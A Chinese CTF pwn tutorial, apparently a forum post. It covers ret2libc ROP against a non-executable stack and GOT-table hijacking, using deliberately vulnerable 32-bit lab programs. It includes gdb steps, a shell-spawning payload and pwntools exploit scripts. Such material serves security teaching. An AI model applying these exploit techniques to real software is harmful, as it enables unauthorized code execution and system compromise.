-
-
[原创]从0开始CTF-PWN(四)ROP绕过栈可执行保护与GOT表劫持
-
2020-11-24 14:51
12985
-
[原创]从0开始CTF-PWN(四)ROP绕过栈可执行保护与GOT表劫持
从0开始CTF-PWN(四)ROP绕过栈可执行保护与GOT表劫持
作者:dxbaicai
1. 教程说明
1.1 历史回顾
1.2 本节说明
- 之前我们是利用自己构造的shellcode返回shell,但这依赖于栈上可执行代码,本篇会介绍当关闭栈上代码可执行时,如何通过ROP跳转到libc获得Shell。
- 说明什么是GOT,如何劫持。
- 同样,教程需要对c语言和汇编有一些基本理解,分析过程中遇到问题会穿插对应知识点的方式进行说明。
2. 环境说明
2.1 环境设置
为了降低入门难度,会关闭操作系统的地址空间随机化(ASLR),这是针对栈溢出漏洞被操作系统广泛采用的防御措施。
1 2 | echo 0 > / proc / sys / kernel / randomize_va_space
|
2.2 编译源文件
在实验环境创建.c源代码文件,使用如下命令进行编译,注意相比之前编译时去掉了-z execstack
1 | gcc - 4.8 - g - m32 - O0 - fno - stack - protector - o [可执行文件名] [源文件名]
|
知识点-编译参数说明
- -m32:使用32位编译
- -O0:关闭所有优化
- -g:在可执行文件中加入源码信息
- -fno-stack-protector:关闭栈保护
- -z execstack:启用栈上代码可执行
- -z norelro / -z relro -z lazy / -z relro -z now (关闭disabled / 部分开启Partial / 完全开启Full)
3. ROP绕过栈可执行保护
3.1 pwn_test_bof2.c程序
对,还是上一篇中的代码。
1 2 3 4 5 6 7 8 9 10 | int main( int argc, char * argv[]) {
char buf[ 128 ];
if (argc < 2 ) return 1 ;
strcpy(buf, argv[ 1 ]);
printf( "Input:%s\n" , buf);
return 0 ;
}
|
- 使用如下命令进行编译
1 | gcc - 4.8 - g - m32 - O0 - fno - stack - protector - o pwn_test_bof3_32 - gcc4. 8 pwn_test_bof2.c
|
3.2 什么是ROP
回想一下上一节,我们是通过利用栈溢出漏洞,将一段自行构造的shellcode放置在栈上特定位置,并使得函数的返回值跳转到该段代码的地址执行,从而获得shell。但是这要求可以在栈上执行代码,现在栈上可执行代码被关闭了,这就要求我们要想办法跳转到可以执行代码的地方。我们看到程序引用了libc库的函数(两句include语句),libc库中显然包含有system函数,那么我们将可以把函数返回的地址指向libc中的system地址,从而跳转到库函数去执行。这种使用函数返回地址(ret指令)连接代码的技术,就叫做ROP(Return-Oriented Programming,返回导向编程)。
- ROP特性
甚至可以通过在栈上布置一系列内存地址,每个内存地址布置一个gadget(以ret/jmp/call等指令结尾的一段汇编指令),从而实现程序的依次执行。另外很重要的一点是,我们在栈上写入的都是内存地址,并非需要执行的代码,使得这种方式可以有效的绕过NX保护。
3.3 开始构造特殊的栈结构
根据第二节中介绍的函数调用栈知识,我们构造如下的栈结构:
注意ROP部分的三句话,从而实现在main函数返回时执行:
1 2 | system( "/bin/sh" );
return xxx;
|
因为我们的目的是getshell,所以执行system即可,返回地址可以随意填写。
3.4 攻击思路
根据上面的分析,我们需要如下计算步骤:
- 找出buf变量地址。
- 找出main函数返回地址。
- 计算面函数返回地址与buf变量地址2者的偏移量,用于填充padding。
上述三步与前一节一致
- 找出libc中system函数、"/bin/sh"地址。
- padding后填充addr(system) + 4位任意地址 + addr(/bin/sh)
思路明确,我们现在开始来逐步调试。前面3步的过程与第三节相同,这里就不再重复,现在我们来调试libc中地址获取。
- 获取system、/bin/sh地址
1 2 3 4 5 6 7 8 9 | gdb - q - args . / pwn_test_bof3_32 - gcc4. 8 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
gdb - peda$ starti
gdb - peda$ r
gdb - peda$ print system
gdb - peda$ find "/bin/sh"
|
得到system的地址为:0xf7e145f0,"/bin/sh"字符的地址为:0xf7f58406。于是我们构造payload为:
"a" * 140 + "0xf7e145f0" + "\1\1\1\1" + "0xf7f58406"
1 2 | . / pwn_test_bof3_32 - gcc4. 8 $(python - c 'print "a"*140 + "\xf0E\xe1\xf7" + "\1\1\1\1" + "\x06\x84\xf5\xf7"' )
|
得到shell:
3.5 pwntools实现
1 2 3 4 5 6 7 8 9 10 11 12 13 | from pwn import *
context(arch = 'amd64' , os = 'linux' )
system_addr = 0xf7e145f0
binsh_addr = 0xf7f58406
payload = "A" * 140 + p32(system_addr) + "\1\1\1\1" + p32(binsh_addr)
p = process(argv = [ "/home/pwn/test/bof/pwn_test_bof3_32-gcc4.8" , payload])
p.interactive()
|
4. GOT劫持
4.1 GOT表介绍
知识点1
.got中存放的是外部全局变量的GOT表,例如stdin/stdout/stderr,非延时绑定。
.got.plt中存放的是外部函数的GOT表,例如printf函数,延时绑定。
知识点2
GOT劫持2大要素:GOT表可写(checksec显示RELRO/disabled且Flg标志位显示为WA)与内存漏洞。
4.2 GOT表劫持核心思想
GOT表劫持的核心目的是通过修改GOT表中的函数地址为其他我们期望的地址,从而达到执行该函数时,通过跳转到GOT表,从而跳转到我们修改过的地址去执行指令。
4.3 GOT表查看方法
- 通过命令查看GOT表中函数地址
1 | objdump - R got_hacking_32 - gcc4. 8
|
- pwntools中查看
1 | hex (elf.got[ "printf" ])获取printf在GOT表的地址
|
4.4 got_hacking.c程序
选自长亭科技相关分享,因为是一个特别典型和简单的got_hacking,非常适合入门,所以这里用它来做说明
1 2 3 4 5 6 7 8 9 10 11 | void win() {
puts( "You Win!" );
}
void main() {
unsigned int addr, value;
scanf( "%x=%x" , &addr, &value);
* (unsigned int * )addr = value;
printf( "set %x=%x\n" , addr, value);
}
|
- 使用如下命令进行编译
1 | gcc - 4.8 - m32 - o got_hacking_32 - gcc4. 8 got_hacking.c
|
可以看到并未添加-z relro -z now(完全关闭)编译参数,这就为GOT表劫持提供了可能。
4.5 程序分析
- 程序的目的是为了执行win函数,但是从main函数中并无入口调用win函数,所以我们需要想办法控制指令跳转到win函数的地址执行。
- scanf("%x=%x", &addr, &value); — 以16进制按{}={}的格式读入2个数,分别写入addr和value。
- (unsigned int )addr = value; — 关键语句:
(unsigned int )addr — 将addr强制转化为指针类型,此时(unsigned int )addr表示的是内存地址addr
(unsigned int )addr = value; — 将内存地址addr处的内容改写为value
所以这里存在4字节=32bit的任意内存写入漏洞。
4.6 攻击思路
- 读取win函数的地址。
1 2 3 4 | gdb - peda$ p win
objdump - d got_hacking_32 - gcc4. 8 |grep win
|
- 从got表中读取printf函数的地址。
1 | objdump - R got_hacking_32 - gcc4. 8
|
知识点-objdump工具1 2 3 | objdump是linux反汇编指令。
- d(disassemble): 可以显示反汇编后的汇编代码。
- R(dynamic - reloc): 显示文件的动态重定位入口,可以用于查找libc等共享库。
|
- 输入时利用内存泄露漏洞将printf函数的地址指向win函数。显示win。
4.7 pwntools实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | from pwn import *
context(arch = 'amd64' , os = 'linux' )
s = ssh(host = "10.211.55.6" , port = 22 , user = "root" , password = "")
p = s.process(argv = [ "/home/pwn/test/got_hacking/got_hacking_32-gcc4.8" ])
elf = p.elf
win_addr = hex (elf.sym[ 'win' ])
printf_addr = hex (elf.got[ 'printf' ])
print ( "win_addr: {}" . format (win_addr))
print ( "printf_addr: {}" . format (printf_addr))
payload = printf_addr + "=" + win_addr
print ( "payload: {}" . format (payload))
p.sendline(payload)
print (p.recvall())
|
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2021-2-7 09:34
被kanxue编辑
,原因: